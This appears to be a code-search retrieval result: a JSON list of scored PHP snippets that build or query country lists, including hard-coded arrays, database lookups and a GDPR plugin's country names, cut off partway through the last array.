[ { "docid": "40e59abfa40b36e0b9b14f814f77b6be", "score": "0.5919791", "text": "public function countryList(){\r\n\t\t$countries = array(\r\n\t\t\t'1'=>'USA',\r\n\t\t\t'2'=>'Aaland Islands',\r\n\t\t\t'3'=>'Afghanistan',\r\n\t\t\t'4'=>'Albania',\r\n\t\t\t'5'=>'Algeria',\r\n\t\t\t'6'=>'American Samoa',\r\n\t\t\t'7'=>'Andorra',\r\n\t\t\t'8'=>'Angola',\r\n\t\t\t'9'=>'Anguilla',\r\n\t\t\t'10'=>'Antigua And Barbuda',\r\n\t\t\t'11'=>'Argentina',\r\n\t\t\t'12'=>'Armenia',\r\n\t\t\t'13'=>'Aruba',\r\n\t\t\t'14'=>'Australia',\r\n\t\t\t'15'=>'Austria',\r\n\t\t\t'16'=>'Azerbaijan',\r\n\t\t\t'17'=>'Bahamas',\r\n\t\t\t'18'=>'Bahrain',\r\n\t\t\t'19'=>'Bangladesh',\r\n\t\t\t'20'=>'Barbados',\r\n\t\t\t'21'=>'Belarus',\r\n\t\t\t'22'=>'Belgium',\r\n\t\t\t'23'=>'Belize',\r\n\t\t\t'24'=>'Benin',\r\n\t\t\t'25'=>'Bermuda',\r\n\t\t\t'26'=>'Bhutan',\r\n\t\t\t'27'=>'Bolivia',\r\n\t\t\t'28'=>'Bosnia and Herzegovina',\r\n\t\t\t'29'=>'Botswana',\r\n\t\t\t'30'=>'Bouvet Island',\r\n\t\t\t'31'=>'Brazil',\r\n\t\t\t'32'=>'Brunei Darussalam',\r\n\t\t\t'33'=>'Bulgaria',\r\n\t\t\t'34'=>'Burkina Faso',\r\n\t\t\t'35'=>'Burundi',\r\n\t\t\t'36'=>'Cambodia',\r\n\t\t\t'37'=>'Cameroon',\r\n\t\t\t'38'=>'Canada',\r\n\t\t\t'39'=>'Cape Verde',\r\n\t\t\t'40'=>'Cayman Islands',\r\n\t\t\t'41'=>'Central African Republic',\r\n\t\t\t'42'=>'Chad',\r\n\t\t\t'43'=>'Chile',\r\n\t\t\t'44'=>'China',\r\n\t\t\t'45'=>'Christmas Island',\r\n\t\t\t'46'=>'Colombia',\r\n\t\t\t'47'=>'Comoros',\r\n\t\t\t'48'=>'Congo',\r\n\t\t\t'49'=>'Cook Islands',\r\n\t\t\t'50'=>'Cote D\\'Ivoire',\r\n\t\t\t'51'=>'Croatia',\r\n\t\t\t'52'=>'Cuba',\r\n\t\t\t'53'=>'Curacao',\r\n\t\t\t'54'=>'Cyprus',\r\n\t\t\t'55'=>'Czech Republic',\r\n\t\t\t'56'=>'Democratic Republic of the Congo',\r\n\t\t\t'57'=>'Denmark',\r\n\t\t\t'58'=>'Djibouti',\r\n\t\t\t'59'=>'Dominica',\r\n\t\t\t'60'=>'Dominican Republic',\r\n\t\t\t'61'=>'East Timor',\r\n\t\t\t'62'=>'Ecuador',\r\n\t\t\t'63'=>'Egypt',\r\n\t\t\t'64'=>'El Salvador',\r\n\t\t\t'65'=>'Equatorial Guinea',\r\n\t\t\t'66'=>'Eritrea',\r\n\t\t\t'67'=>'Estonia',\r\n\t\t\t'68'=>'Ethiopia',\r\n\t\t\t'69'=>'Falkland Islands',\r\n\t\t\t'70'=>'Faroe Islands',\r\n\t\t\t'71'=>'Fiji',\r\n\t\t\t'72'=>'Finland',\r\n\t\t\t'73'=>'France',\r\n\t\t\t'74'=>'French Guiana',\r\n\t\t\t'75'=>'French Polynesia',\r\n\t\t\t'76'=>'Gabon',\r\n\t\t\t'77'=>'Gambia',\r\n\t\t\t'78'=>'Georgia',\r\n\t\t\t'79'=>'Germany',\r\n\t\t\t'80'=>'Ghana',\r\n\t\t\t'81'=>'Gibraltar',\r\n\t\t\t'82'=>'Greece',\r\n\t\t\t'83'=>'Greenland',\r\n\t\t\t'84'=>'Grenada',\r\n\t\t\t'85'=>'Guadeloupe',\r\n\t\t\t'86'=>'Guam',\r\n\t\t\t'87'=>'Guatemala',\r\n\t\t\t'88'=>'Guernsey',\r\n\t\t\t'89'=>'Guinea',\r\n\t\t\t'90'=>'Guyana',\r\n\t\t\t'91'=>'Haiti',\r\n\t\t\t'92'=>'Honduras',\r\n\t\t\t'93'=>'Hong Kong',\r\n\t\t\t'94'=>'Hungary',\r\n\t\t\t'95'=>'Iceland',\r\n\t\t\t'96'=>'India',\r\n\t\t\t'97'=>'Indonesia',\r\n\t\t\t'98'=>'Iran',\r\n\t\t\t'99'=>'Iraq',\r\n\t\t\t'100'=>'Ireland',\r\n\t\t\t'101'=>'Isle of Man',\r\n\t\t\t'102'=>'Israel',\r\n\t\t\t'103'=>'Italy',\r\n\t\t\t'104'=>'Jamaica',\r\n\t\t\t'105'=>'Japan',\r\n\t\t\t'106'=>'Jersey (Channel Islands)',\r\n\t\t\t'107'=>'Jordan',\r\n\t\t\t'108'=>'Kazakhstan',\r\n\t\t\t'109'=>'Kenya',\r\n\t\t\t'110'=>'Kiribati',\r\n\t\t\t'111'=>'Kuwait',\r\n\t\t\t'112'=>'Kyrgyzstan',\r\n\t\t\t'113'=>'Lao People\\'s Democratic Republic',\r\n\t\t\t'114'=>'Latvia',\r\n\t\t\t'115'=>'Lebanon',\r\n\t\t\t'116'=>'Lesotho',\r\n\t\t\t'117'=>'Liberia',\r\n\t\t\t'118'=>'Libya',\r\n\t\t\t'119'=>'Liechtenstein',\r\n\t\t\t'120'=>'Lithuania',\r\n\t\t\t'121'=>'Luxembourg',\r\n\t\t\t'122'=>'Macau',\r\n\t\t\t'123'=>'Macedonia',\r\n\t\t\t'124'=>'Madagascar',\r\n\t\t\t'125'=>'Malawi',\r\n\t\t\t'126'=>'Malaysia',\r\n\t\t\t'127'=>'Maldives',\r\n\t\t\t'128'=>'Mali',\r\n\t\t\t'129'=>'Malta',\r\n\t\t\t'130'=>'Marshall Islands',\r\n\t\t\t'131'=>'Martinique',\r\n\t\t\t'132'=>'Mauritania',\r\n\t\t\t'133'=>'Mauritius',\r\n\t\t\t'134'=>'Mayotte',\r\n\t\t\t'135'=>'Mexico',\r\n\t\t\t'135'=>'Moldova, Republic of',\r\n\t\t\t'136'=>'Monaco',\r\n\t\t\t'137'=>'Mongolia',\r\n\t\t\t'138'=>'Montenegro',\r\n\t\t\t'139'=>'Montserrat',\r\n\t\t\t'140'=>'Morocco',\r\n\t\t\t'141'=>'Mozambique',\r\n\t\t\t'142'=>'Myanmar',\r\n\t\t\t'143'=>'Namibia',\r\n\t\t\t'144'=>'Nepal',\r\n\t\t\t'145'=>'Netherlands',\r\n\t\t\t'146'=>'Netherlands Antilles',\r\n\t\t\t'147'=>'New Caledonia',\r\n\t\t\t'148'=>'New Zealand',\r\n\t\t\t'149'=>'Nicaragua',\r\n\t\t\t'150'=>'Niger',\r\n\t\t\t'151'=>'Nigeria',\r\n\t\t\t'152'=>'Niue',\r\n\t\t\t'153'=>'Norfolk Island',\r\n\t\t\t'154'=>'North Korea',\r\n\t\t\t'155'=>'Norway',\r\n\t\t\t'156'=>'Oman',\r\n\t\t\t'157'=>'Pakistan',\r\n\t\t\t'158'=>'Palau',\r\n\t\t\t'159'=>'Palestine',\r\n\t\t\t'160'=>'Panama',\r\n\t\t\t'161'=>'Papua New Guinea',\r\n\t\t\t'162'=>'Paraguay',\r\n\t\t\t'163'=>'Peru',\r\n\t\t\t'164'=>'Philippines',\r\n\t\t\t'165'=>'Pitcairn',\r\n\t\t\t'166'=>'Poland',\r\n\t\t\t'167'=>'Portugal',\r\n\t\t\t'168'=>'Qatar',\r\n\t\t\t'169'=>'Republic of Kosovo',\r\n\t\t\t'170'=>'Reunion',\r\n\t\t\t'171'=>'Romania',\r\n\t\t\t'172'=>'Russia',\r\n\t\t\t'173'=>'Rwanda',\r\n\t\t\t'174'=>'Saint Kitts and Nevis',\r\n\t\t\t'175'=>'Saint Lucia',\r\n\t\t\t'176'=>'Saint Vincent and the Grenadines',\r\n\t\t\t'177'=>'Samoa (Independent)',\r\n\t\t\t'178'=>'San Marino',\r\n\t\t\t'179'=>'Saudi Arabia',\r\n\t\t\t'180'=>'Senegal',\r\n\t\t\t'181'=>'Serbia',\r\n\t\t\t'182'=>'Seychelles',\r\n\t\t\t'183'=>'Sierra Leone',\r\n\t\t\t'184'=>'Singapore',\r\n\t\t\t'185'=>'Sint Maarten',\r\n\t\t\t'186'=>'Slovakia',\r\n\t\t\t'187'=>'Slovenia',\r\n\t\t\t'188'=>'Solomon Islands',\r\n\t\t\t'189'=>'Somalia',\r\n\t\t\t'190'=>'South Africa',\r\n\t\t\t'191'=>'South Georgia and the South Sandwich Islands',\r\n\t\t\t'192'=>'South Korea',\r\n\t\t\t'193'=>'South Sudan',\r\n\t\t\t'194'=>'Spain',\r\n\t\t\t'195'=>'Sri Lanka',\r\n\t\t\t'196'=>'Sudan',\r\n\t\t\t'197'=>'Suriname',\r\n\t\t\t'198'=>'Svalbard and Jan Mayen Islands',\r\n\t\t\t'199'=>'Swaziland',\r\n\t\t\t'200'=>'Sweden',\r\n\t\t\t'201'=>'Switzerland',\r\n\t\t\t'202'=>'Syria',\r\n\t\t\t'203'=>'Taiwan',\r\n\t\t\t'204'=>'Tajikistan',\r\n\t\t\t'205'=>'Tanzania',\r\n\t\t\t'206'=>'Thailand',\r\n\t\t\t'207'=>'Togo',\r\n\t\t\t'208'=>'Tonga',\r\n\t\t\t'209'=>'Trinidad and Tobago',\r\n\t\t\t'210'=>'Tunisia',\r\n\t\t\t'211'=>'Turkey',\r\n\t\t\t'212'=>'Turks &amp; Caicos Islands',\r\n\t\t\t'213'=>'Uganda',\r\n\t\t\t'214'=>'Ukraine',\r\n\t\t\t'215'=>'United Arab Emirates',\r\n\t\t\t'216'=>'United Kingdom',\r\n\t\t\t'217'=>'Uruguay',\r\n\t\t\t'218'=>'Uzbekistan',\r\n\t\t\t'219'=>'Vanuatu',\r\n\t\t\t'220'=>'Vatican City State (Holy See)',\r\n\t\t\t'221'=>'Venezuela',\r\n\t\t\t'222'=>'Vietnam',\r\n\t\t\t'223'=>'Virgin Islands (British)',\r\n\t\t\t'224'=>'Virgin Islands (U.S.)',\r\n\t\t\t'225'=>'Western Sahara',\r\n\t\t\t'226'=>'Yemen',\r\n\t\t\t'227'=>'Zambia',\r\n\t\t\t'228'=>'Zimbabwe'\r\n\t\t);\r\n\t\treturn $countries;\r\n\t}", "title": "" }, { "docid": "80d19f4632e2a6c456a76a9538b58425", "score": "0.5910894", "text": "public function getCountryList()\n {\n $user = User::select('country')->distinct()->whereNotNull('country');\n $event = BusinessEvent::select('country')->distinct()->whereNotNull('country');\n $response = $user->union($event)->groupBy('country')->get();\n //var_dump($response);dd();\n if($response != NULL && $response->count())\n return response()->json(['status' => 'success','response' =>$response]);\n else\n return response()->json(['status' => 'exception','response' => 'Could not find any country']);\n }", "title": "" }, { "docid": "698427395872f4271cda7a592be2a05d", "score": "0.5819185", "text": "function GetAllCountry()\n {\n $sql = \" SELECT country.`id` ,country.`name` FROM `broadcasting` BD JOIN `country` ON country.id = BD.`country` AND BD.`promotion` = 'Balance Plus' GROUP BY country.`name` \";\n\n $sqlQuery = $this->GetDbConnection()->query($sql);\n\n return $sqlQuery->fetchAll(\\PDO::FETCH_ASSOC);\n\n }", "title": "" }, { "docid": "a1f345912ec860fceb7315f38378202e", "score": "0.581037", "text": "function getCountryList($country_name){\n\t\t\t//getting value from database\n\t\t\t$country_list = $this->manageContent->getValueWhere(\"country\",\"*\",\"status\",1);\n\t\t\tif(!empty($country_list[0]))\n\t\t\t{\n\t\t\t\tforeach($country_list as $country)\n\t\t\t\t{\n\t\t\t\t\tif($country['name'] == $country_name)\n\t\t\t\t\t{\n\t\t\t\t\t\techo '<option value=\"'.$country['name'].'\" selected=\"selected\">'.$country['name'].'</option>';\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\techo '<option value=\"'.$country['name'].'\">'.$country['name'].'</option>';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "42bd9e76540a4450866e108a35590072", "score": "0.5788426", "text": "public function get_for_search_countriesdropdown(){\n $sql = \"select * from travelimagedetails GROUP by CountryCodeISO\";\n $countrycodes = $this->query($sql);\n while($country = $countrycodes->fetch(PDO::FETCH_ASSOC)){\n $sql = \"select * from geocountries where ISO ='\" . $country[\"CountryCodeISO\"]. \"'\";\n $result = $this->query($sql);\n $countrynames[] = $result->fetch(PDO::FETCH_ASSOC);\n }\n return $countrynames;\n }", "title": "" }, { "docid": "463fb840ffe11f66d3b689573f4d10c2", "score": "0.5781612", "text": "public function getIntlCountriesList();", "title": "" }, { "docid": "ca943c94ee28df2560bc7bb30265f1ba", "score": "0.570316", "text": "private function getCountryList(){\n return array(\n '' => Language::_(\"ThesslstoreModule.please_select\", true),\n 'AF'=>'Afghanistan','AX'=>'Aland Islands','AL'=>'Albania','DZ'=>'Algeria','AS'=>'American Samoa','AD'=>'Andorra',\n 'AO'=>'Angola','AI'=>'Anguilla','AQ'=>'Antarctica','AG'=>'Antigua and Barbuda','AR'=>'Argentina','AM'=>'Armenia','AW'=>'Aruba',\n 'AC'=>'Ascension Island','AU'=>'Australia','AT'=>'Austria','AZ'=>'Azerbaijan','BS'=>'Bahamas','BH'=>'Bahrain','BD'=>'Bangladesh',\n 'BB'=>'Barbados','BY'=>'Belarus','BE'=>'Belgium','BZ'=>'Belize','BJ'=>'Benin','BM'=>'Bermuda','BT'=>'Bhutan','BO'=>'Bolivia',\n 'BQ'=>'Bonaire, Sint Eustatius, and Saba',\n 'BA'=>'Bosnia and Herzegovina','BW'=>'Botswana','BV'=>'Bouvet Island','BR'=>'Brazil','IO'=>'British Indian Ocean Territory',\n 'VG'=>'British Virgin Islands','BN'=>'Brunei','BG'=>'Bulgaria','BF'=>'Burkina Faso','BI'=>'Burundi','KH'=>'Cambodia','CM'=>'Cameroon',\n 'CA'=>'Canada','IC'=>'Canary Islands','CV'=>'Cape Verde','KY'=>'Cayman Islands','CF'=>'Central African Republic','EA'=>'Ceuta and Melilla',\n 'TD'=>'Chad','CL'=>'Chile','CN'=>'China','CX'=>'Christmas Island','CP'=>'Clipperton Island','CC'=>'Cocos [Keeling] Islands','CO'=>'Colombia',\n 'KM'=>'Comoros','CG'=>'Congo - Brazzaville','CD'=>'Congo - Kinshasa','CK'=>'Cook Islands','CR'=>'Costa Rica','CI'=>'Cote D\\'Ivoire','HR'=>'Croatia',\n 'CU'=>'Cuba','CW'=>'Curaçao','CY'=>'Cyprus','CZ'=>'Czech Republic','DK'=>'Denmark','DG'=>'Diego Garcia','DJ'=>'Djibouti','DM'=>'Dominica',\n 'DO'=>'Dominican Republic','EC'=>'Ecuador','EG'=>'Egypt','SV'=>'El Salvador','GQ'=>'Equatorial Guinea','ER'=>'Eritrea','EE'=>'Estonia',\n 'ET'=>'Ethiopia','EU'=>'European Union','FK'=>'Falkland Islands','FO'=>'Faroe Islands','FJ'=>'Fiji','FI'=>'Finland','FR'=>'France',\n 'GF'=>'French Guiana','PF'=>'French Polynesia','TF'=>'French Southern Territories','GA'=>'Gabon','GM'=>'Gambia','GE'=>'Georgia',\n 'DE'=>'Germany','GH'=>'Ghana','GI'=>'Gibraltar','GR'=>'Greece','GL'=>'Greenland','GD'=>'Grenada','GP'=>'Guadeloupe','GU'=>'Guam',\n 'GT'=>'Guatemala','GG'=>'Guernsey','GN'=>'Guinea','GW'=>'Guinea-Bissau','GY'=>'Guyana','HT'=>'Haiti','HM'=>'Heard Island and McDonald Islands',\n 'HN'=>'Honduras','HK'=>'Hong Kong SAR China','HU'=>'Hungary','IS'=>'Iceland','IN'=>'India','ID'=>'Indonesia','IR'=>'Iran','IQ'=>'Iraq',\n 'IE'=>'Ireland','IM'=>'Isle of Man','IL'=>'Israel','IT'=>'Italy','JM'=>'Jamaica','JP'=>'Japan','JE'=>'Jersey','JO'=>'Jordan',\n 'KZ'=>'Kazakhstan','KE'=>'Kenya','KI'=>'Kiribati','KW'=>'Kuwait','KG'=>'Kyrgyzstan','LA'=>'Laos','LV'=>'Latvia','LB'=>'Lebanon',\n 'LS'=>'Lesotho','LR'=>'Liberia','LY'=>'Libya','LI'=>'Liechtenstein','LT'=>'Lithuania','LU'=>'Luxembourg','MO'=>'Macau SAR China',\n 'MK'=>'Macedonia','MG'=>'Madagascar','MW'=>'Malawi','MY'=>'Malaysia','MV'=>'Maldives','ML'=>'Mali','MT'=>'Malta','MH'=>'Marshall Islands',\n 'MQ'=>'Martinique','MR'=>'Mauritania','MU'=>'Mauritius','YT'=>'Mayotte','MX'=>'Mexico','FM'=>'Micronesia','MD'=>'Moldova','MC'=>'Monaco',\n 'MN'=>'Mongolia','ME'=>'Montenegro','MS'=>'Montserrat','MA'=>'Morocco','MZ'=>'Mozambique','MM'=>'Myanmar [Burma]','NA'=>'Namibia',\n 'NR'=>'Nauru','NP'=>'Nepal','NL'=>'Netherlands','AN'=>'Netherlands Antilles','NC'=>'New Caledonia','NZ'=>'New Zealand',\n 'NI'=>'Nicaragua','NE'=>'Niger','NG'=>'Nigeria','NU'=>'Niue','NF'=>'Norfolk Island','KP'=>'North Korea','MP'=>'Northern Mariana Islands',\n 'NO'=>'Norway','OM'=>'Oman','QO'=>'Outlying Oceania','PK'=>'Pakistan','PW'=>'Palau','PS'=>'Palestinian Territories','PA'=>'Panama',\n 'PG'=>'Papua New Guinea','PY'=>'Paraguay','PE'=>'Peru','PH'=>'Philippines','PN'=>'Pitcairn Islands','PL'=>'Poland','PT'=>'Portugal',\n 'PR'=>'Puerto Rico','QA'=>'Qatar','RE'=>'Réunion','RO'=>'Romania','RU'=>'Russia','RW'=>'Rwanda','BL'=>'Saint Barthélemy',\n 'SH'=>'Saint Helena','KN'=>'Saint Kitts and Nevis','LC'=>'Saint Lucia','MF'=>'Saint Martin','PM'=>'Saint Pierre and Miquelon',\n 'VC'=>'Saint Vincent and the Grenadines','WS'=>'Samoa','SM'=>'San Marino','ST'=>'São Tomé and Príncipe','SA'=>'Saudi Arabia',\n 'SN'=>'Senegal','RS'=>'Serbia','CS'=>'Serbia and Montenegro','SC'=>'Seychelles','SL'=>'Sierra Leone','SG'=>'Singapore','SX'=>'Sint Maarten',\n 'SK'=>'Slovakia','SI'=>'Slovenia','SB'=>'Solomon Islands','SO'=>'Somalia','ZA'=>'South Africa',\n 'GS'=>'South Georgia and the South Sandwich Islands','KR'=>'South Korea','SS'=>'South Sudan','ES'=>'Spain',\n 'LK'=>'Sri Lanka','SD'=>'Sudan','SR'=>'Suriname','SJ'=>'Svalbard and Jan Mayen','SZ'=>'Swaziland','SE'=>'Sweden',\n 'CH'=>'Switzerland','SY'=>'Syria','TW'=>'Taiwan','TJ'=>'Tajikistan','TZ'=>'Tanzania','TH'=>'Thailand','TL'=>'Timor-Leste','TG'=>'Togo',\n 'TK'=>'Tokelau','TO'=>'Tonga','TT'=>'Trinidad and Tobago','TA'=>'Tristan da Cunha','TN'=>'Tunisia','TR'=>'Turkey','TM'=>'Turkmenistan',\n 'TC'=>'Turks and Caicos Islands','TV'=>'Tuvalu','UM'=>'U.S. Minor Outlying Islands','VI'=>'U.S. Virgin Islands','UG'=>'Uganda',\n 'UA'=>'Ukraine','AE'=>'United Arab Emirates','GB'=>'United Kingdom','US'=>'United States','UY'=>'Uruguay','UZ'=>'Uzbekistan',\n 'VU'=>'Vanuatu','VA'=>'Vatican City','VE'=>'Venezuela','VN'=>'Vietnam','WF'=>'Wallis and Futuna','EH'=>'Western Sahara',\n 'YE'=>'Yemen','ZM'=>'Zambia','ZW'=>'Zimbabwe'\n\n );\n }", "title": "" }, { "docid": "5cd16dda559a62d68269e1fb8a98cd11", "score": "0.5656748", "text": "public function searchCountry()\n\t{\n $geoSearchUrl=$this->getGeoSearchUrl() ;\n $artistListResult=$this->getApiResult($geoSearchUrl);\n return $artistListResult;\n\t}", "title": "" }, { "docid": "71af36e150c3abc335ab7b54f476992b", "score": "0.5577364", "text": "public static function findByCountry($country)\n {\n $country = strtoupper($country);\n\n if (!preg_match('/^[A-Z]{2}$/', $country)) {\n throw new InvalidArgumentException('Invalid/malformed 2-letter country code (expecting ISO 3166 ALPHA-2)');\n }\n\n $r = array();\n\n foreach (self::$library as $iata => $a) {\n if ($a['country'] == $country) {\n $r[$iata] = Airport::createFromArray($a);\n }\n }\n\n return $r;\n }", "title": "" }, { "docid": "320defdde1c182a3b5bea52e66c4ff7f", "score": "0.55651695", "text": "function tep_get_country_zones($country_id) {\n $zones_array = array();\n $zones_query = tep_db_query(\"select zone_id, zone_name from \" . TABLE_ZONES . \" where zone_country_id = '\" . (int)$country_id . \"' order by zone_name\");\n while ($zones = tep_db_fetch_array($zones_query)) {\n $zones_array[] = array('id' => $zones['zone_id'],\n 'text' => $zones['zone_name']);\n }\n\n return $zones_array;\n }", "title": "" }, { "docid": "917a5f1458d73f43c3ee091cdb63c7a2", "score": "0.5554651", "text": "function osc_list_country() {\n if (View::newInstance()->_exists('list_countries')) {\n return View::newInstance()->_current('list_countries');\n } else {\n return null;\n }\n }", "title": "" }, { "docid": "05ddeaca15e5ef1ded9390cc892e557c", "score": "0.5551877", "text": "public function getCountryIndustries();", "title": "" }, { "docid": "a7072ef5aded5b6796a6aa60e93bcee2", "score": "0.55325997", "text": "public function countryList() \n\t{\n\t\t$data = $this->getCountryList();\n\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "e846afcb9596391affb6feb0381f7405", "score": "0.5508757", "text": "public function getEUCountryList()\n {\n return [\n 'AT' => _x('Austria', '(Admin)', 'gdpr-framework'),\n 'BE' => _x('Belgium', '(Admin)', 'gdpr-framework'),\n 'BG' => _x('Bulgaria', '(Admin)', 'gdpr-framework'),\n 'HR' => _x('Croatia','(Admin)', 'gdpr-framework'),\n 'CY' => _x('Cyprus', '(Admin)', 'gdpr-framework'),\n 'CZ' => _x('Czech Republic', '(Admin)', 'gdpr-framework'),\n 'DK' => _x('Denmark', '(Admin)', 'gdpr-framework'),\n 'EE' => _x('Estonia', '(Admin)', 'gdpr-framework'),\n 'FI' => _x('Finland', '(Admin)', 'gdpr-framework'),\n 'FR' => _x('France', '(Admin)', 'gdpr-framework'),\n 'DE' => _x('Germany', '(Admin)', 'gdpr-framework'),\n 'GR' => _x('Greece', '(Admin)', 'gdpr-framework'),\n 'HU' => _x('Hungary', '(Admin)', 'gdpr-framework'),\n 'IE' => _x('Ireland', '(Admin)', 'gdpr-framework'),\n 'IT' => _x('Italy', '(Admin)', 'gdpr-framework'),\n 'LV' => _x('Latvia', '(Admin)', 'gdpr-framework'),\n 'LT' => _x('Lithuania', '(Admin)', 'gdpr-framework'),\n 'LU' => _x('Luxembourg', '(Admin)', 'gdpr-framework'),\n 'MT' => _x('Malta', '(Admin)', 'gdpr-framework'),\n 'NL' => _x('Netherlands', '(Admin)', 'gdpr-framework'),\n 'PL' => _x('Poland', '(Admin)', 'gdpr-framework'),\n 'PT' => _x('Portugal', '(Admin)', 'gdpr-framework'),\n 'RO' => _x('Romania', '(Admin)', 'gdpr-framework'),\n 'SK' => _x('Slovakia', '(Admin)', 'gdpr-framework'),\n 'SI' => _x('Slovenia', '(Admin)', 'gdpr-framework'),\n 'ES' => _x('Spain', '(Admin)', 'gdpr-framework'),\n 'SE' => _x('Sweden', '(Admin)', 'gdpr-framework'),\n 'UK' => _x('United Kingdom', '(Admin)', 'gdpr-framework'),\n // All country list\n 'AF' => _x('Afghanistan ', '(Admin)', 'gdpr-framework'),\n 'AX' => _x('Åland Islands', '(Admin)', 'gdpr-framework'),\n 'AL' => _x('Albania', '(Admin)', 'gdpr-framework'),\n 'DZ' => _x('Algeria', '(Admin)', 'gdpr-framework'),\n 'AS' => _x('American Samoa ', '(Admin)', 'gdpr-framework'),\n 'AD' => _x('Andorra', '(Admin)', 'gdpr-framework'),\n 'AO' => _x('Angola', '(Admin)', 'gdpr-framework'),\n 'AI' => _x('Anguilla', '(Admin)', 'gdpr-framework'),\n 'AQ' => _x('Antarctica', '(Admin)', 'gdpr-framework'),\n 'AG' => _x('Antigua and Barbuda', '(Admin)', 'gdpr-framework'),\n 'AR' => _x('Argentina', '(Admin)', 'gdpr-framework'),\n 'AM' => _x('Armenia', '(Admin)', 'gdpr-framework'),\n 'AW' => _x('Aruba', '(Admin)', 'gdpr-framework'),\n 'AU' => _x('Australia', '(Admin)', 'gdpr-framework'),\n 'AZ' => _x('Azerbaijan', '(Admin)', 'gdpr-framework'),\n 'BH' => _x('Bahrain', '(Admin)', 'gdpr-framework'),\n 'BS' => _x('Bahamas', '(Admin)', 'gdpr-framework'),\n 'BD' => _x('Bangladesh', '(Admin)', 'gdpr-framework'),\n 'BB' => _x('Barbados', '(Admin)', 'gdpr-framework'),\n 'BY' => _x('Belarus', '(Admin)', 'gdpr-framework'),\n 'BZ' => _x('Belize', '(Admin)', 'gdpr-framework'),\n 'BJ' => _x('Benin', '(Admin)', 'gdpr-framework'),\n 'BM' => _x('Bermuda', '(Admin)', 'gdpr-framework'),\n 'BT' => _x('Bhutan', '(Admin)', 'gdpr-framework'),\n 'BO' => _x('Bolivia, Plurinational State of', '(Admin)', 'gdpr-framework'),\n 'BQ' => _x('Bonaire, Sint Eustatius and Saba', '(Admin)', 'gdpr-framework'),\n 'BA' => _x('Bosnia and Herzegovina', '(Admin)', 'gdpr-framework'),\n 'BW' => _x('Botswana', '(Admin)', 'gdpr-framework'),\n 'BV' => _x('Bouvet Island', '(Admin)', 'gdpr-framework'),\n 'BR' => _x('Brazil', '(Admin)', 'gdpr-framework'),\n 'IO' => _x('British Indian Ocean Territory', '(Admin)', 'gdpr-framework'),\n 'BN' => _x('Brunei Darussalam', '(Admin)', 'gdpr-framework'),\n 'BF' => _x('Burkina Faso', '(Admin)', 'gdpr-framework'),\n 'BI' => _x('Burundi', '(Admin)', 'gdpr-framework'),\n 'KH' => _x('Cambodia', '(Admin)', 'gdpr-framework'),\n 'CM' => _x('Cameroon', '(Admin)', 'gdpr-framework'),\n 'CA' => _x('Canada', '(Admin)', 'gdpr-framework'),\n 'CV' => _x('Cape Verde', '(Admin)', 'gdpr-framework'),\n 'KY' => _x('Cayman Islands', '(Admin)', 'gdpr-framework'),\n 'CF' => _x('Central African Republic', '(Admin)', 'gdpr-framework'),\n 'TD' => _x('Chad', '(Admin)', 'gdpr-framework'),\n 'CL' => _x('Chile', '(Admin)', 'gdpr-framework'),\n 'CN' => _x('China', '(Admin)', 'gdpr-framework'),\n 'CX' => _x('Christmas Island', '(Admin)', 'gdpr-framework'),\n 'CC' => _x('Cocos (Keeling) Islands', '(Admin)', 'gdpr-framework'),\n 'CO' => _x('Colombia', '(Admin)', 'gdpr-framework'),\n 'KM' => _x('Comoros', '(Admin)', 'gdpr-framework'),\n 'CG' => _x('Congo', '(Admin)', 'gdpr-framework'),\n 'CD' => _x('Congo, the Democratic Republic of the', '(Admin)', 'gdpr-framework'),\n 'CK' => _x('Cook Islands', '(Admin)', 'gdpr-framework'),\n 'CR' => _x('Costa Rica', '(Admin)', 'gdpr-framework'),\n 'CI' => _x('Côte dIvoire', '(Admin)', 'gdpr-framework'),\n 'CU' => _x('Cuba', '(Admin)', 'gdpr-framework'),\n 'CW' => _x('Curaçao', '(Admin)', 'gdpr-framework'),\n 'DJ' => _x('Djibouti', '(Admin)', 'gdpr-framework'),\n 'DM' => _x('Dominica', '(Admin)', 'gdpr-framework'),\n 'DO' => _x('Dominican Republic', '(Admin)', 'gdpr-framework'),\n 'EC' => _x('Ecuador', '(Admin)', 'gdpr-framework'),\n 'EG' => _x('Egypt', '(Admin)', 'gdpr-framework'),\n 'SV' => _x('El Salvador', '(Admin)', 'gdpr-framework'),\n 'GQ' => _x('Equatorial Guinea', '(Admin)', 'gdpr-framework'),\n 'ER' => _x('Eritrea', '(Admin)', 'gdpr-framework'),\n 'ET' => _x('Ethiopia', '(Admin)', 'gdpr-framework'),\n 'FK' => _x('Falkland Islands (Malvinas)', '(Admin)', 'gdpr-framework'),\n 'FO' => _x('Faroe Islands', '(Admin)', 'gdpr-framework'),\n 'FJ' => _x('Fiji', '(Admin)', 'gdpr-framework'),\n 'GF' => _x('French Guiana', '(Admin)', 'gdpr-framework'),\n 'PF' => _x('French Polynesia', '(Admin)', 'gdpr-framework'),\n 'TF' => _x('French Southern Territories', '(Admin)', 'gdpr-framework'),\n 'GA' => _x('Gabon', '(Admin)', 'gdpr-framework'),\n 'GM' => _x('Gambia', '(Admin)', 'gdpr-framework'),\n 'GE' => _x('Georgia', '(Admin)', 'gdpr-framework'),\n 'GE' => _x('Georgia ', '(Admin)', 'gdpr-framework'),\n 'GH' => _x('Ghana', '(Admin)', 'gdpr-framework'),\n 'GI' => _x('Gibraltar', '(Admin)', 'gdpr-framework'),\n 'GL' => _x('Greenland', '(Admin)', 'gdpr-framework'),\n 'GD' => _x('Grenada ', '(Admin)', 'gdpr-framework'),\n 'GP' => _x('Guadeloupe ', '(Admin)', 'gdpr-framework'),\n 'GU' => _x('Guam', '(Admin)', 'gdpr-framework'),\n 'GT' => _x('Guatemala', '(Admin)', 'gdpr-framework'),\n 'GG' => _x('Guernsey', '(Admin)', 'gdpr-framework'),\n 'GN' => _x('Guinea ', '(Admin)', 'gdpr-framework'),\n 'GW' => _x('Guinea-Bissau ', '(Admin)', 'gdpr-framework'),\n 'GY' => _x('Guyana ', '(Admin)', 'gdpr-framework'),\n 'HT' => _x('Haiti ', '(Admin)', 'gdpr-framework'),\n 'HM' => _x('Heard Island and McDonald Islands ', '(Admin)', 'gdpr-framework'),\n 'VA' => _x('Holy See (Vatican City State) ', '(Admin)', 'gdpr-framework'),\n 'HN' => _x('Honduras ', '(Admin)', 'gdpr-framework'),\n 'HK' => _x('Hong Kong ', '(Admin)', 